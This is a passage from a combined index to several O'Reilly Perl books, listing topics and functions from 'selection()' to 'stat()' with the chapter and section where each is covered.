Radiobutton widget : Perl in a Nutshell, 18.6. The Radiobutton Widget
selection()
Entry widget : Perl in a Nutshell, 18.8.2. Entry Methods
Listbox widget : Perl in a Nutshell, 18.10.2. Listbox Methods
selective aliases : Advanced Perl Programming, 3.3.1. Selective Aliasing
-selectmode option (Listbox) : Perl in a Nutshell, 18.10. The Listbox Widget
SelectSaver module
Perl in a Nutshell, 8.128. SelectSaver
Programming Perl, 7.2.54. SelectSaver - Save and Restore Selected Filehandle
self-referential data structures : Perl Cookbook, 13.13. Coping with Circular Data Structures
self_url() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: self_url
SelfLoader module
Perl Cookbook, 12.9. Speeding Module Loading with SelfLoader
Perl in a Nutshell, 8.129. SelfLoader
Programming Perl, 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
Programming Perl, 7.2.55. SelfLoader - Load Functions Only on Demand
SelfStubber module : Programming Perl, 7.2.9. Devel::SelfStubber - Generate Stubs for a SelfLoading Module
semantics : Programming Perl, 3.2.185. use
Semaphore module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
semaphores
Perl in a Nutshell, 19.14. Win32::Semaphore
Programming Perl, 3.2.137. semget
semctl()
Perl in a Nutshell, Chapter 5, Reference: semctl
Programming Perl, 3.2.136. semctl
semget()
Perl in a Nutshell, Chapter 5, Reference: semget
Programming Perl, 3.2.137. semget
semicolon : (see ; (semicolon))
semop()
Perl in a Nutshell, Chapter 5, Reference: semop
Programming Perl, 3.2.138. semop
send()
Perl in a Nutshell, Chapter 5, Reference: send
Perl in a Nutshell, 13.1. Built-in Socket Functions
Programming Perl, 3.2.139. send
send_basic_header() (HTTP::Daemon::ClientConn) : Perl in a Nutshell, Chapter 17, Reference: send_basic_header
send_error() (HTTP::Daemon::ClientConn) : Perl in a Nutshell, Chapter 17, Reference: send_error
send_file() (HTTP::Daemon::ClientConn) : Perl in a Nutshell, Chapter 17, Reference: send_file_response
send_redirect() (HTTP::Daemon::ClientConn) : Perl in a Nutshell, Chapter 17, Reference: send_redirect
send_response() (HTTP::Daemon::ClientConn) : Perl in a Nutshell, Chapter 17, Reference: send_response
send_status_line() (HTTP::Daemon::ClientConn) : Perl in a Nutshell, Chapter 17, Reference: send_status_line
sending
email messages : Perl in a Nutshell, 14.1.1. Send Email with Net::SMTP
signals : Learning Perl, 14.6. Sending and Receiving Signals
sockets : Advanced Perl Programming, 12.2.2. Sender
sendmail aliases database : Learning Perl, 17.1. DBM Databases and DBM Hashes
SendRequest() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: SendRequest
separator() (Menubutton) : Perl in a Nutshell, 18.14.2. Menubutton Methods
separators, menu : Perl Cookbook, 15.14. Creating Menus with Tk
seq function : Programming Perl, 7.2.8.5. Using the Berkeley DB interface directly
sequence, in regular expressions : Learning Perl, 7.3.2.1. Sequence
sequential access, to password file : Learning Perl, 16.1. Getting Password and Group Information
serialization : Advanced Perl Programming, 10.1. Persistence Issues
Data::Dumper module : Advanced Perl Programming, 10.2.2. Data::Dumper
FreezeThaw module : Advanced Perl Programming, 10.2.1. FreezeThaw
Storable module : Advanced Perl Programming, 10.2.3. Storable
Server object (PerlScript) : Perl in a Nutshell, 20.2. Server-Side PerlScript
server-side includes (SSI), mod_perl with : Perl in a Nutshell, 11.5. Server-Side Includes with mod_perl
server-side PerlScript
Perl in a Nutshell, 20. PerlScript
Perl in a Nutshell, 20.2. Server-Side PerlScript
server-side socket connections
Perl in a Nutshell, 13.1.3. Server Connections
Perl in a Nutshell, 13.2.2. Server-Side Sockets
SERVER_NAME variable : Perl in a Nutshell, 9.4. CGI Environment Variables
SERVER_PORT variable : Perl in a Nutshell, 9.4. CGI Environment Variables
SERVER_PROTOCOL variable : Perl in a Nutshell, 9.4. CGI Environment Variables
SERVER_SOFTWARE variable : Perl in a Nutshell, 9.4. CGI Environment Variables
servers : Advanced Perl Programming, 12.4. Real-World Servers
CGI programs and : Learning Perl, 19.2. Your CGI Program in Context
daemon servers : Perl Cookbook, 17.15. Making a Daemon Server
forking
Advanced Perl Programming, 12.3.1. Multiple Threads of Execution
Perl Cookbook, 17.11. Forking Servers
multihomed : Perl Cookbook, 17.14. Writing a Multi-Homed Server
non-forking : Perl Cookbook, 17.13. Non-Forking Servers
POP3 : Perl Cookbook, 18.5. Reading Mail with POP3
pre-forking : Perl Cookbook, 17.12. Pre-Forking Servers
quiescent : Advanced Perl Programming, 12.3.3. Nonblocking Filehandles
restarting on demand : Perl Cookbook, 17.16. Restarting a Server on Demand
TCP
Perl Cookbook, 17.2. Writing a TCP Server
Programming Perl, 6.2.4.1. Internet TCP clients and servers
UDP : Perl Cookbook, 17.5. Setting Up a UDP Server
ServerVariables collection : Perl in a Nutshell, 20.2.1. The Request Object
service control interface : Perl in a Nutshell, 19.15. Win32::Service
Service module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
service port number : (see port)
Session object (PerlScript) : Perl in a Nutshell, 20.2. Server-Side PerlScript
set()
Mail::Send module
Perl in a Nutshell, Chapter 14, Reference: set
Perl in a Nutshell, 14.2.2. Better Header Control with Mail::Send
Scale widget : Perl in a Nutshell, 18.13.1. Scale Methods
Scrollbar widget : Perl in a Nutshell, 18.9.1. Scrollbar Methods
Set()
Win32::FileSecurity module : Perl in a Nutshell, Chapter 19, Reference: Set
Win32::Shortcut module : Perl in a Nutshell, Chapter 19, Reference: Set
set_attributes function
Advanced Perl Programming, 11.2.2. Object Encapsulation
Advanced Perl Programming, 11.3.2.2. Queries
database mapping and : Advanced Perl Programming, 11.2.4. Multivalued Attributes and Database Mapping
set_cookie() (HTTP::Cookies) : Perl in a Nutshell, Chapter 17, Reference: set_cookie
Set-Cookie header
Perl in a Nutshell, 17.3.6. HTTP::Cookies
Perl in a Nutshell, 20.2.2.1. Setting cookies
Set-Cookie2 header : Perl in a Nutshell, 17.3.6. HTTP::Cookies
set_option() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: set_option
set_readonly() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: set_readonly
set theory : Perl Cookbook, 4.7. Finding Elements in One Array but Not Another
SetAttributes() (Win32::File) : Perl in a Nutshell, 19.5. Win32::File
SetCwd module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
setenv command, emulating : Learning Perl, 14.1. Using system and exec
SetFileAttributes method : Learning Perl on Win32 Systems, 13.4. Modifying Permissions
setgid function : Programming Perl, 6.2.2.2. Talking to yourself
setgrent()
Learning Perl, 16.1. Getting Password and Group Information
Perl in a Nutshell, Chapter 5, Reference: setgrent
Programming Perl, 3.2.44. getgrent
-setgrid option
Listbox widget : Perl in a Nutshell, 18.10. The Listbox Widget
Text widget : Perl in a Nutshell, 18.11. The Text Widget
setgrp function : Programming Perl, 3.2.140. setpgrp
SetHandler directive (mod_perl) : Perl in a Nutshell, 11.3. mod_perl Handlers
sethostent()
Perl in a Nutshell, Chapter 5, Reference: sethostent
Programming Perl, 3.2.49. gethostent
setjmp function : Advanced Perl Programming, 5.6. Using Eval for Time-Outs
setlocale() : Programming Perl, 7.2.37. I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
setlogmask() : Programming Perl, 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
setnetent() : Perl in a Nutshell, Chapter 5, Reference: setnetent
SetOption() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: SetOption
setpgrp() : Perl in a Nutshell, Chapter 5, Reference: setpgrp
setpriority()
Perl in a Nutshell, Chapter 5, Reference: setpriority
Programming Perl, 3.2.141. setpriority
SetPriorityClass() (Win32::Process) : Perl in a Nutshell, Chapter 19, Reference: SetPriorityClass
setprotoent()
Perl in a Nutshell, Chapter 5, Reference: setprotoent
Programming Perl, 3.2.60. getprotoent
setpwent()
Learning Perl, 16.1. Getting Password and Group Information
Perl in a Nutshell, Chapter 5, Reference: setpwent
Programming Perl, 3.2.61. getpwent
sets of bits : (see vec())
sets of strings : (see hashes (associative arrays))
setservent function : Programming Perl, 3.2.66. getservent
setservent() : Perl in a Nutshell, Chapter 5, Reference: setservent
setsockopt()
Perl Cookbook, 17.13. Non-Forking Servers
Perl in a Nutshell, Chapter 5, Reference: setsockopt
Programming Perl, 3.2.142. setsockopt
SetStatusCallback() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: SetStatusCallback
setting Registry values : Learning Perl on Win32 Systems, 16.6. Setting Registry Values
setting up : (see initializing)
setuid function : Programming Perl, 6.2.2.2. Talking to yourself
SetValue() (Win32::Registry)
Learning Perl on Win32 Systems, 16.6. Setting Registry Values
Perl in a Nutshell, Chapter 19, Reference: SetValue
SetValueEx() (Win32::Registry)
Learning Perl on Win32 Systems, 16.6. Setting Registry Values
Perl in a Nutshell, Chapter 19, Reference: SetValueEx
setvbuf() : Programming Perl, 7.2.33. FileHandle - Supply Object Methods for Filehandles
sh (Bourne shell)
Learning Perl, 14.1. Using system and exec
Programming Perl, 6.1.1. Command Processing
shadow classes, SWIG and : Advanced Perl Programming, 18.3. SWIG Features
shallow binding : Advanced Perl Programming, 4.5.2. Python
shallow copies : Perl Cookbook, 11.12. Copying Data Structures
share_info hash : Perl in a Nutshell, 19.11. Win32::NetResource
shared locks : Perl Cookbook, 7.11. Locking a File
shared memory segment ID : Programming Perl, 3.2.145. shmget
shared resources, managing : Perl in a Nutshell, 19.11. Win32::NetResource
shared string tables : Advanced Perl Programming, 20.3.3.1. Inside HVs
sharetest program (example) : Perl Cookbook, 16.12. Sharing Variables in Different Processes
sharing variables among processes : Perl Cookbook, 16.12. Sharing Variables in Different Processes
sharp : (see # (hash mark))
shebang notation : (see # (hash mark), #! notation)
shell escapes, executing commands without : Perl Cookbook, 19.6. Executing Commands Without Shell Escapes
Shell module
Perl in a Nutshell, 8.130. Shell
Programming Perl, 7.2.56. Shell - Run Shell Commands Transparently Within Perl
shell scripts : Learning Perl, 1.4. Basic Concepts
converting to Perl (ha!) : Learning Perl, 18.3. Converting Shell Programs to Perl
shell wildcards for regexp matching : Perl Cookbook, 6.9. Matching Shell Globs as Regular Expressions
shells : Programming Perl, 8.2.6. Shell Traps
avoiding for new processes : Learning Perl, 14.1. Using system and exec
bypassing : Programming Perl, 6.2.2.2. Talking to yourself
shift function : Programming Perl, 3.2.143. shift
shift operators : Programming Perl, 2.5.9. Shift Operators
shift()
Learning Perl, 3.4.4. The shift and unshift Functions
Perl in a Nutshell, Chapter 5, Reference: shift
circular lists : Perl Cookbook, 4.16. Implementing a Circular List
default of @ARGV and : Learning Perl, A.12. Chapter 13, File and Directory Manipulation
example of : Learning Perl, A.12. Chapter 13, File and Directory Manipulation
on multiple array elements : Perl Cookbook, 4.11. Processing Multiple Elements of an Array
Tie::IxHash module and : Perl Cookbook, 5.6. Retrieving from a Hash in Insertion Order
shmctl()
Perl in a Nutshell, Chapter 5, Reference: shmctl
Programming Perl, 3.2.144. shmctl
shmget()
Perl in a Nutshell, Chapter 5, Reference: shmget
Programming Perl, 3.2.145. shmget
shmread()
Perl in a Nutshell, Chapter 5, Reference: shmread
Programming Perl, 3.2.146. shmread
shmwrite()
Perl in a Nutshell, Chapter 5, Reference: shmwrite
Programming Perl, 3.2.147. shmwrite
shopping cart : Perl Cookbook, 19.12. Writing a Multiscreen CGI Script
short-circuit operators
(see logical operators)
Programming Perl, 2.5.14. C-style Logical (Short Circuit) Operators
shortcut files : Perl in a Nutshell, 19.16. Win32::Shortcut
ShortCut module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
:shortcuts import tag : Learning Perl, 19.5. Less Typing
-show option (Entry) : Perl in a Nutshell, 18.8. The Entry Widget
Showlex backend (Perl compiler) : Perl in a Nutshell, 3.4. The Perl Compiler
-showvalue option (Scale) : Perl in a Nutshell, 18.13. The Scale Widget
shuffling
(see also random)
Perl Cookbook, 8.7. Randomizing All Lines
array elements : Perl Cookbook, 4.17. Randomizing an Array
file line order : Perl Cookbook, 8.7. Randomizing All Lines
shutdown()
Perl Cookbook, 17.9. Closing a Socket After Forking
Perl in a Nutshell, Chapter 5, Reference: shutdown
Programming Perl, 3.2.148. shutdown
Socket module : Perl in a Nutshell, 13.1. Built-in Socket Functions
-side option (pack geometry manager) : Perl in a Nutshell, 18.2.1. The pack Geometry Manager
%SIG hash
Advanced Perl Programming, 4.2.2. Signal Handlers
Perl Cookbook, 16.15. Installing a Signal Handler
Learning Perl, 14.6. Sending and Receiving Signals
Perl in a Nutshell, 4.4.2. Global Special Arrays and Hashes
Programming Perl, 2.9.4. Global Special Arrays
Programming Perl, 6.2.1. Signals
sigaction function : Programming Perl, 6.2.1. Signals
SigAction objects : Programming Perl, 7.2.49.1. Classes
SIGALRM signal
Advanced Perl Programming, 5.6. Using Eval for Time-Outs
Advanced Perl Programming, 14.5. Timers
Perl Cookbook, 16.0. Introduction
Perl Cookbook, 16.21. Timing Out an Operation
Programming Perl, 3.2.5. alarm
SIGCHLD signal
Advanced Perl Programming, 12.3.1. Multiple Threads of Execution
Perl Cookbook, 16.0. Introduction
Perl Cookbook, 16.19. Avoiding Zombie Processes
SIGHUP signal
Perl Cookbook, 16.0. Introduction
Perl Cookbook, 17.16. Restarting a Server on Demand
SIGINT signal
Perl Cookbook, 16.0. Introduction
Perl Cookbook, 16.18. Catching Ctrl-C
Learning Perl, 14.6. Sending and Receiving Signals
SIGIO signal
Advanced Perl Programming, 12.3. Handling Multiple Clients
Programming Perl, 3.2.37. fcntl
signals
Advanced Perl Programming, 4.2.2. Signal Handlers
Perl Cookbook, 16.0. Introduction
Learning Perl, 14.6. Sending and Receiving Signals
Programming Perl, 2.9.4. Global Special Arrays
Programming Perl, 6.2.1. Signals
Programming Perl, 7.2.57. sigtrap - Enable Stack Backtrace on Unexpected Signals
blocking : Perl Cookbook, 16.20. Blocking Signals
catching : Learning Perl, 14.6. Sending and Receiving Signals
handlers for : Perl Cookbook, 16.15. Installing a Signal Handler
ignoring : Learning Perl, 14.6. Sending and Receiving Signals
listing available : Perl Cookbook, 16.13. Listing Available Signals
process groups
Perl Cookbook, 7.22. Program: lockarea
Perl Cookbook, 16.14. Sending a Signal
restoring default action of : Learning Perl, 14.6. Sending and Receiving Signals
sending
Perl Cookbook, 16.14. Sending a Signal
Learning Perl, 14.6. Sending and Receiving Signals
signatures, randomized : Perl Cookbook, 16.22. Program: sigrand
SIGPIPE signal
Perl Cookbook, 16.0. Introduction
Perl Cookbook, 16.4. Reading or Writing to Another Program
sigprocmask system call : Perl Cookbook, 16.20. Blocking Signals
SIGQUIT signal : Perl Cookbook, 16.0. Introduction
sigrand program (example) : Perl Cookbook, 16.22. Program: sigrand
SigSet objects : Programming Perl, 7.2.49.1. Classes
SIGTERM signal : Perl Cookbook, 16.0. Introduction
sigtrap module
Perl in a Nutshell, 8.131. sigtrap
Programming Perl, 7.2.57. sigtrap - Enable Stack Backtrace on Unexpected Signals
SIGUSR1, SIGUSR2 signals : Perl Cookbook, 16.0. Introduction
Simple Mail Transport Protocol (SMTP) : Perl in a Nutshell, 14.1.1. Send Email with Net::SMTP
Simple module : Learning Perl, 19.10.3. Web Automation with LWP
sin() (sines)
Perl Cookbook, 2.12. Calculating More Trigonometric Functions
Perl in a Nutshell, Chapter 5, Reference: sin
Programming Perl, 3.2.149. sin
single inheritance : Perl Cookbook, 13.0. Introduction
single quotes : (see ' (single quotation marks))
single-quoted strings : Learning Perl, 2.3.1. Single-Quoted Strings
singularities : (see scalars)
size
arrays, changing : Perl Cookbook, 4.3. Changing Array Size
hashes, preallocating for : Perl Cookbook, 5.13. Presizing a Hash
Tk window resize events : Perl Cookbook, 15.16. Responding to Tk Resize Events
window/terminal, determining : Perl Cookbook, 15.4. Determining Terminal or Window Size
$size file statistic : Programming Perl, 3.2.159. stat
Size()
Mail::POP3Client module : Perl in a Nutshell, Chapter 14, Reference: Size
Win32::Console module : Perl in a Nutshell, Chapter 19, Reference: Size
size()
Listbox widget : Perl in a Nutshell, 18.10.2. Listbox Methods
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: size
sizefrom() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
skiing
Learning Perl, 1.5. A Stroll Through Perl
Learning Perl on Win32 Systems, 1.6. A Stroll Through Perl
Skip() (Win32::OLE::Enum) : Perl in a Nutshell, Chapter 19, Reference: Skip
skipcheck() : Programming Perl, 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
slash : (see / (slash))
slave() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: slave
sleep()
Perl in a Nutshell, Chapter 5, Reference: sleep
Programming Perl, 3.2.150. sleep
select function instead of : Programming Perl, 3.2.135. select (ready file descriptors)
sleeps : Perl Cookbook, 3.10. Short Sleeps
slices
arrays
Learning Perl, 3.4.2. Array Element Access
Programming Perl, 4.6.4. Slices
literal lists : Learning Perl, 3.4.2. Array Element Access
variable interpolation in strings : Learning Perl, 3.7. Variable Interpolation of Arrays
slider (Scale) widget : Perl in a Nutshell, 18.13. The Scale Widget
-sliderlength option (Scale) : Perl in a Nutshell, 18.13. The Scale Widget
slowcat program (example) : Perl Cookbook, 1.5. Processing a String One Character at a Time
smart callbacks : Advanced Perl Programming, 4.4.1. Using Closures as "Smart" Callbacks
SMTP protocol, interface to : Perl in a Nutshell, 14.1.1. Send Email with Net::SMTP
smtpsend() (Mail::Internet) : Perl in a Nutshell, Chapter 14, Reference: smtpsend
SOCK_ constants : Perl Cookbook, 17.0. Introduction
sockaddr() (IO::Socket::INET) : Perl in a Nutshell, Chapter 13, Reference: sockaddr
sockaddr_in() (Socket)
Perl Cookbook, 17.0. Introduction
Perl Cookbook, 17.4. Setting Up a UDP Client
Perl in a Nutshell, Chapter 13, Reference: sockaddr_in
Perl in a Nutshell, 13.1.2. Client Connections
Perl in a Nutshell, 13.1.3. Server Connections
sockaddr_un() (Socket)
Perl Cookbook, 17.0. Introduction
Perl in a Nutshell, Chapter 13, Reference: sockaddr_un
sockdomain() (IO::Socket) : Perl in a Nutshell, Chapter 13, Reference: sockdomain
socket()
Advanced Perl Programming, 12.5. IO Objects and Filehandles
Perl Cookbook, 17.0. Introduction
Perl in a Nutshell, Chapter 5, Reference: socket
Perl in a Nutshell, 13.1.1. Initializing a Socket
Programming Perl, 3.2.151. socket
Socket() (Mail::POP3Client) : Perl in a Nutshell, Chapter 14, Reference: Socket
Socket module
Advanced Perl Programming, 12.2. Socket API and IO::Socket
Learning Perl on Win32 Systems, C. Networking Clients
Perl in a Nutshell, 8.132. Socket
Perl in a Nutshell, 13.1. Built-in Socket Functions
Perl in a Nutshell, 13.2. The IO::Socket Module
Programming Perl, 7.2.58. Socket - Load the C socket.h Defines and Structure Manipulators
socketpair()
Perl in a Nutshell, Chapter 5, Reference: socketpair
Programming Perl, 3.2.152. socketpair
sockets
Advanced Perl Programming, 12.1. Networking Primer
Perl Cookbook, 17.0. Introduction
Learning Perl on Win32 Systems, C. Networking Clients
Perl in a Nutshell, 13. Sockets
Programming Perl, 6.2.4. Sockets
accepting connections from clients : Programming Perl, 3.2.4. accept
attaching address to : Programming Perl, 3.2.7. bind
bidirectional communication
Advanced Perl Programming, 12.2.3. Bidirectional Communications
Perl Cookbook, 17.10. Writing Bidirectional Clients
built-in functions for : Perl in a Nutshell, 13.1. Built-in Socket Functions
client-side connections
Perl in a Nutshell, 13.1.2. Client Connections
Perl in a Nutshell, 13.2.1. Client-Side Sockets
closing
Perl Cookbook, 17.9. Closing a Socket After Forking
Programming Perl, 3.2.18. close
connecting
Perl Cookbook, 17.18. Program: fwdport
Programming Perl, 3.2.20. connect
daemon servers : Perl Cookbook, 17.15. Making a Daemon Server
finding own name/address : Perl Cookbook, 17.8. Finding Your Own Name and Address
forking servers : Perl Cookbook, 17.11. Forking Servers
functions for : Programming Perl, 3.2.67. getsockname
getting packed sockaddr address : Programming Perl, 3.2.54. getpeername
handling multiple sockets : Advanced Perl Programming, 12.3. Handling Multiple Clients
identifying machine at end : Perl Cookbook, 17.7. Identifying the Other End of a Socket
initializing : Perl in a Nutshell, 13.1.1. Initializing a Socket
IO::Socket module
Advanced Perl Programming, 12.2. Socket API and IO::Socket
Learning Perl on Win32 Systems, C. Networking Clients
Perl in a Nutshell, 8.96. IO::Socket
Perl in a Nutshell, 13.2. The IO::Socket Module
IO::Socket::INET subclass : Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
IO::Socket::UNIX subclass : Perl in a Nutshell, 13.2.5. IO::Socket::UNIX Reference
listen function for : Programming Perl, 3.2.86. listen
logging port connection attempts : Perl Cookbook, 17.17. Program: backsniff
low-level access functions : Perl in a Nutshell, 5.1. Perl Functions by Category
multihomed servers : Perl Cookbook, 17.14. Writing a Multi-Homed Server
non-blocking : Perl Cookbook, 17.2. Writing a TCP Server
non-forking servers : Perl Cookbook, 17.13. Non-Forking Servers
opening : Programming Perl, 3.2.151. socket
pre-forking servers : Perl Cookbook, 17.12. Pre-Forking Servers
receiving messages on
Advanced Perl Programming, 12.2.1. Receiver
Programming Perl, 3.2.119. recv
restarting servers on demand : Perl Cookbook, 17.16. Restarting a Server on Demand
sending messages on
Advanced Perl Programming, 12.2.2. Sender
Programming Perl, 3.2.139. send
server-side connections
Perl in a Nutshell, 13.1.3. Server Connections
Perl in a Nutshell, 13.2.2. Server-Side Sockets
servers and : Advanced Perl Programming, 12.4. Real-World Servers
setting options : Programming Perl, 3.2.142. setsockopt
shutting down connection : Programming Perl, 3.2.148. shutdown
Socket API : Advanced Perl Programming, 12.2. Socket API and IO::Socket
TCP protocol
communicating over : Perl Cookbook, 17.3. Communicating over TCP
writing clients : Perl Cookbook, 17.1. Writing a TCP Client
writing servers : Perl Cookbook, 17.2. Writing a TCP Server
UDP protocol
writing clients : Perl Cookbook, 17.4. Setting Up a UDP Client
writing servers : Perl Cookbook, 17.5. Setting Up a UDP Server
Unix domain
Perl Cookbook, 17.0. Introduction
Perl Cookbook, 17.6. Using UNIX Domain Sockets
sockhost() (IO::Socket::INET) : Perl in a Nutshell, Chapter 13, Reference: sockhost
sockopt() (IO::Socket) : Perl in a Nutshell, Chapter 13, Reference: sockopt
sockport() (IO::Socket::INET) : Perl in a Nutshell, Chapter 13, Reference: sockport
socktype() (IO::Socket) : Perl in a Nutshell, Chapter 13, Reference: socktype
soft links : (see symbolic links)
soft references : (see symbolic references)
sort()
Perl Cookbook, 4.14. Sorting an Array Numerically
Perl Cookbook, 5.9. Sorting a Hash
Learning Perl, 1.5.16. Maintaining a Last-Good-Guess Database
Learning Perl, 3.4.6. The sort Function
Learning Perl on Win32 Systems, 1.6.16. Maintaining a Last-Good-Guess Database
Learning Perl on Win32 Systems, 3.4.6. The sort Function
Perl in a Nutshell, Chapter 5, Reference: sort
Programming Perl, 3.2.153. sort
controlling sort order of : Learning Perl, 15.4. Advanced Sorting
examples of
Learning Perl, A.11. Chapter 12, Directory Access
Learning Perl, A.14. Chapter 15, Other Data Transformation
Learning Perl, A.15. Chapter 16, System Database Access
Learning Perl, 16.1. Getting Password and Group Information
Learning Perl on Win32 Systems, A.11. Chapter 12, Directory Access
Learning Perl on Win32 Systems, A.14. Chapter 15, Other Data Transformation
Mail::Folder module : Perl in a Nutshell, Chapter 14, Reference: sort
sortdemo program (example) : Perl Cookbook, 14.6. Sorting Large DBM Files
sorting
advanced : Learning Perl, 15.4. Advanced Sorting
array elements : Perl Cookbook, 4.14. Sorting an Array Numerically
comparison routines : Learning Perl, 15.4. Advanced Sorting
using array lookups : Learning Perl, 15.4. Advanced Sorting
DBM files : Perl Cookbook, 14.6. Sorting Large DBM Files
directory contents
Perl Cookbook, 9.0. Introduction
Perl Cookbook, 9.12. Program: lst
du command output : Perl Cookbook, 5.16. Program: dutree
example of numeric : Learning Perl, 15.4. Advanced Sorting
hash elements : Perl Cookbook, 5.9. Sorting a Hash
hashes automatically : Programming Perl, 7.2.8.4. In-memory databases
lists : Programming Perl, 3.2.153. sort
mail (example subroutine) : Perl Cookbook, 10.17. Program: Sorting Your Mail
pod =head1 sections : Perl Cookbook, 15.19. Program: tkshufflepod
randomizing array element order : Perl Cookbook, 4.17. Randomizing an Array
randomizing file line order : Perl Cookbook, 8.7. Randomizing All Lines
text into columns : Perl Cookbook, 4.18. Program: words
Sound module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
soundex algorithm : Programming Perl, 7.2.69. Text::Soundex - The Soundex Algorithm Described by Knuth
Soundex matching : Perl Cookbook, 1.16. Soundex Matching
source code for Perl, obtaining : Perl in a Nutshell, 2. Installing Perl
source distribution : (see distribution)
source filters : Programming Perl, 6.4.2.4. Source filters
space : (see whitespace)
spaceship (<=>) operator : (see < > (angle brackets), <=> (comparison, spaceship) operator)
-spacing1, -spacing2, -spacing3 options (Text) : Perl in a Nutshell, 18.11. The Text Widget
Spawn module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
special characters : Programming Perl, 2.4.1.2. The rules of regular expression matching
special variables : Programming Perl, 2.9. Special Variables
specific classes : Perl Cookbook, 13.0. Introduction
SpecPerl utility : Advanced Perl Programming, 14.2.1. GUI Forms: The Easy Way
SpecTcl utility : Advanced Perl Programming, 14.2.1. GUI Forms: The Easy Way
speed, processing : (see performance)
speed of terminal output : Programming Perl, 7.2.64. Term::Cap - Terminal Capabilities Interface
spider (robot) : Perl Cookbook, 20.11. Creating a Robot
splain program : Programming Perl, 7.2.10.1. The standalone program
splice()
Perl Cookbook, 4.11. Processing Multiple Elements of an Array
Perl in a Nutshell, Chapter 5, Reference: splice
Programming Perl, 3.2.154. splice
Programming Perl, 8.2.7. Previous Perl Traps
Tie::IxHash module and : Perl Cookbook, 5.6. Retrieving from a Hash in Insertion Order
split()
Perl Cookbook, 1.5. Processing a String One Character at a Time
Perl Cookbook, 8.3. Processing Every Word in a File
Perl Cookbook, 8.9. Processing Variable-Length Text Fields
Learning Perl, 7.6.1. The split Function
Perl in a Nutshell, Chapter 5, Reference: split
Programming Perl, 1.7. Regular Expressions
Programming Perl, 3.2.155. split
Programming Perl, 8.2.3. Awk Traps
Programming Perl, 8.3.1. Time Efficiency
example of
Learning Perl, A.10. Chapter 11, Formats
Learning Perl, A.13. Chapter 14, Process Management
Learning Perl, 11.3. Invoking a Format
Learning Perl on Win32 Systems, 11.3. Invoking a Format
reading records with pattern separators : Perl Cookbook, 6.7. Reading Records with a Pattern Separator
splitting modules for autoloading : Programming Perl, 7.2.3. AutoSplit - Split a Module for Autoloading
spotted owls : Learning Perl on Win32 Systems, 13.1. Removing a File
sprintf()
Learning Perl, 15.3. Formatting Data with sprintf()
Perl in a Nutshell, Chapter 5, Reference: sprintf
Programming Perl, 3.2.156. sprintf
compared with pack() : Learning Perl, 16.2. Packing and Unpacking Binary Data
%c format : Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
comparing floating-point numbers : Perl Cookbook, 2.2. Comparing Floating-Point Numbers
examples of : Learning Perl, 11.4.2. Numeric Fields
rounding floating-point numbers : Perl Cookbook, 2.3. Rounding Floating-Point Numbers
Sprite : Learning Perl, 2.3.2. Double-Quoted Strings
SQL database : Perl Cookbook, 20.9. Creating HTML Templates
Sql statement (SQL) : Advanced Perl Programming, 10.4.2. Win32::ODBC
SQL statement placeholders : Perl in a Nutshell, 12.2.4. Placeholders database and statement handles
SQL statements
Advanced Perl Programming, 10.4.1.1. Basic SQL accesses
Perl Cookbook, 14.10. Executing an SQL Command Using DBI and DBD
Perl Cookbook, 19.7. Formatting Lists and Tables with HTML Shortcuts
sqrt()
Perl in a Nutshell, Chapter 5, Reference: sqrt
Programming Perl, 3.2.157. sqrt
square brackets : (see [] (brackets))
square root function
Perl in a Nutshell, Chapter 5, Reference: sqrt
Programming Perl, 3.2.157. sqrt
srand()
Perl Cookbook, 2.8. Generating Different Random Numbers
Learning Perl, 3.8. Exercises
Perl in a Nutshell, Chapter 5, Reference: srand
Programming Perl, 3.2.158. srand
SSI (server-side includes), mod_perl with : Perl in a Nutshell, 11.5. Server-Side Includes with mod_perl
:ssl method group : Perl in a Nutshell, 10.2. Importing Method Groups
ST macro : Advanced Perl Programming, 20.4.2.1. Returning a variable list of results
stacks
Advanced Perl Programming, 20.2.1. Perl Objects
Advanced Perl Programming, 20.4. Stacks and Messaging Protocol
Programming Perl, 3.2.10. caller
stale hyperlinks, finding : Perl Cookbook, 20.7. Finding Stale Links
:standard import tag : Learning Perl, 19.5. Less Typing
standard distribution, Perl : Learning Perl on Win32 Systems, 1.3.2. Standard Perl Distribution
standard error
of command in backquotes : Learning Perl, 14.2. Using Backquotes
merging with standard output, in backquotes : Learning Perl, 14.2. Using Backquotes
processes open for writing and : Learning Perl, 14.3. Using Processes as Filehandles
standard filehandles : Perl Cookbook, 7.0. Introduction
standard input : (see STDIN)
standard library : Programming Perl, 7. The Standard Perl Library
:standard method group : Perl in a Nutshell, 10.2. Importing Method Groups
standard modules
Learning Perl on Win32 Systems, B.2. Standard Modules
Perl in a Nutshell, 8. Standard Modules
standard output : (see STDOUT)
star (*) : (see * (asterisk))
start_html() (CGI.pm)
Perl in a Nutshell, Chapter 10, Reference: start_html
Perl in a Nutshell, 10.5. Using JavaScript Features
start_multipart_form() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: start_multipart_form
startform() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: startform
StartService() (Win32::Service) : Perl in a Nutshell, Chapter 19, Reference: StartService
starttag() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: starttag
stashes : (see symbol tables)
stat()
Perl Cookbook, 8.17. Testing a File for Trustworthiness
Perl Cookbook, 9.0. Introduction
Perl Cookbook, 9.1. Getting and Setting Timestamps
Learning Perl, 10.6. The stat and lstat Functions
Learning Perl on Win32 Systems, 10.7. The stat Function
